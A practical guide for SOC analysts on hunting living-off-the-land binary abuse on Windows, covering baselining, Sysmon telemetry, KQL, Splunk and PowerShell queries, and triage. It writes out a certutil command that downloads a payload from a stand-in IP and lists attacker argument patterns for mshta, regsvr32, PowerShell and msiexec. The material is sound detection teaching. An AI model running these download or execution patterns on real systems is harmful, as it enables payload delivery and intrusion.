Threat Hunting for Living-off-the-Land Binaries: A Practical Guide for SOC Analysts

Give an attacker one valid credential and a stock Windows install, and they already have a toolkit. PowerShell ships with the operating system. So do certutil, mshta, rundll32 and wmic. Every one of them is digitally signed by Microsoft, sitting in System32, and launched legitimately thousands of times a day in most environments. Nothing about the file is suspicious. The behaviour is.

That is the whole problem with living-off-the-land binaries, or LOLBins. Your allowlist approves them, your antivirus trusts them, and your users' own IT department runs them. Detection has to come from context: who launched what, from where, with which arguments, and what happened in the next thirty seconds. This guide covers how to build that context, query it with tools you probably already have, and turn the results into a hunt you can repeat next week.

Why LOLBins Break Signature Thinking

A hash-based alert needs a bad file. A LOLBin hunt has no bad file. When an intruder runs certutil.exe -urlcache -split -f http://198.51.100.10/payload.exe, the executable that lands on disk is the only artefact that looks malicious, and it may never touch the endpoint at all if the next step is injected into memory.

The signal lives in the command line, the parent process, the user context, and the sequence of events that follows. That means your detection logic has to be behavioural, and behavioural logic only works if you know what normal looks like. Most teams skip that step, write a rule for mshta.exe, drown in alerts from a legitimate line-of-business app, and disable the rule. Baseline first, then hunt.

Baseline First: Learn What Normal Looks Like

Before writing a single query, spend a week collecting data with no detection goal at all. You are answering one question: which LOLBins actually run here, and in what shape? For each binary on your list, capture:

• Daily execution counts, split by host role. A build server and a receptionist's laptop have different profiles.
• Parent process name and signature. explorer.exe and services.exe are not interchangeable parents.
• Command-line flag frequency. If certutil -verify appears daily and -urlcache appears twice a year, that rarity is your detection.
• User context and integrity level. System-level and elevated interactive runs deserve different scrutiny.
• Outbound network connections within a short window after execution.
• Module loads, particularly anything pulled from a user-writable path.

Turn these counts into a simple rarity score. A command line that appears once across the fleet in thirty days is worth an analyst's attention; one that appears four thousand times is background noise. You do not need machine learning for this. A spreadsheet and a weekly query will do.

Parent-child pairs worth memorising

Some process relationships are so unusual they justify an alert on their own, before you read the arguments:

• Office application spawning powershell.exe, mshta.exe or wscript.exe
• w3wp.exe, php-cgi.exe or a Java process spawning cmd.exe
• svchost.exe spawning cmd.exe or powershell.exe
• outlook.exe spawning mshta.exe or rundll32.exe
• Any LOLBin whose child is another LOLBin, chained two or three deep

Normal is host-role specific. Interactive PowerShell on an admin jump host is Tuesday. PowerShell parented by a web worker process on a production server is a lead.

Telemetry You Actually Need

You do not need an expensive platform to start. You need process creation with command lines, and a few supporting logs. On Windows, that means:

• Sysmon Event ID 1 for process creation, including hashes, parent image and command line
• Sysmon Event ID 3 and 22 for network connections and DNS queries
• Sysmon Event ID 7 and 11 for image loads and file creation
• Security 4688 with command-line auditing enabled, if Sysmon is not an option
• PowerShell 4104 script block logging, which catches the script even when the process is obfuscated
• Security 4698 and 7045 for scheduled tasks and new services
• BITS-Client/Operational and WMI-Activity/Operational for two favourite transfer and execution channels

For collection, Windows Event Forwarding is free and built in. For offline analysis of exported EVTX files, tools like Chainsaw, Hayabusa and DeepBlueCLI will parse a folder of logs and surface suspicious command lines without a SIEM. Sigma rules give you portable logic you can translate into whatever query language your stack speaks, and a Sysmon configuration tuned to your environment keeps the noise manageable.

The Usual Suspects and Their Giveaways

These binaries deserve a permanent place in your hunt. The patterns below are the ones analysts see most often in intrusion activity:

• certutil.exe — -urlcache, -split, -f combined with an HTTP or FTP address; -decode against a file in Temp
• mshta.exe — any http, https or UNC argument, or an inline vbscript: or javascript: payload
• regsvr32.exe — /s /u /i:http://... followed by scrobj.dll, the Squiblydoo pattern
• rundll32.exe — javascript: arguments, or loading a DLL from a user-writable directory
• powershell.exe — -enc with a long base64 blob, -nop -w hidden, or DownloadString piped into execution
• wmic.exe — /node: against a remote host, or process call create
• bitsadmin.exe and Start-BitsTransfer — transfers pointing at unfamiliar hosts
• msiexec.exe — /q /i http://... installing a package from the internet
• schtasks.exe — a task created with a trigger like onlogon running a script from Temp or ProgramData
• vssadmin.exe and fsutil.exe — shadow copy deletion, a classic pre-ransomware step

Two tells are easy to miss. First, the process's working directory: a legitimate certutil run usually sits somewhere sensible, while a malicious one often starts in Temp, ProgramData or a UNC share. Second, loaded modules: the binary may be genuine, but a DLL it loads from a user-writable folder is not.

Queries You Can Run Today

Start broad, then filter with the rarity you established during baselining. In a Microsoft Defender or Sentinel-style KQL environment, this pulls the shortlist:

DeviceProcessEvents
| where FileName in~ ("mshta.exe","regsvr32.exe","certutil.exe","rundll32.exe","bitsadmin.exe")
| where ProcessCommandLine has_any ("http://","https://","\\\\","javascript:","-urlcache","-enc")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine

In Splunk, the equivalent hunt is a stats-driven rarity check:

index=win EventCode=1 Image="*\\certutil.exe"
| stats count values(CommandLine) as cmds by ComputerName, User
| where count < 3

And if all you have is a workstation and administrator rights, PowerShell is enough for a first pass:

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} -MaxEvents 20000 |
Where-Object { $_.Message -match 'certutil|mshta|regsvr32|rundll32' }

Tune as you go. Add exclusions for backup software, patch management and your own admin scripts, but write down why each exclusion exists. An allowlist nobody can justify is how a detection quietly dies.

From Hits to Verdicts

A hit is the start of a question, not an incident. Work through the same five checks every time:

1. Identity. Human admin, service account, or an interactive session on a server that should have none?
2. Sequence. What happened next — a child process, an outbound connection, a file written, a task registered?
3. Location. Where did the referenced payload live? User-writable paths and UNC shares raise the score.
4. Explanation. Patch Tuesday, a software deployment, a scheduled backup. If the change calendar covers it, close it.
5. Reproduction. Can you run the same command in a lab and see the same result? Testing sharpens both your confidence and your rule.

Score each hit, escalate the ones that combine a rare command line with an unusual parent and a following network connection, and document the verdict either way. Those notes become next quarter's baseline.

A One-Week Starting Plan

You do not need a project plan to get moving. Enable Sysmon and PowerShell script block logging on a representative pilot group on day one. On day two, inventory which LOLBins actually execute across that group. Spend day three turning those counts into a short list sorted by rarity. Run the three queries above on day four and triage everything they return. On day five, write up what you found, add the obvious false positives to an exclusion list with a reason next to each one, and schedule the query to run weekly.

By the following Monday you will have something more useful than a rule: a working picture of what normal looks like in your environment, and a short, defensible list of the times it does not. That picture is what makes the next alert fast to judge.

Photo: Nothing Ahead / Pexels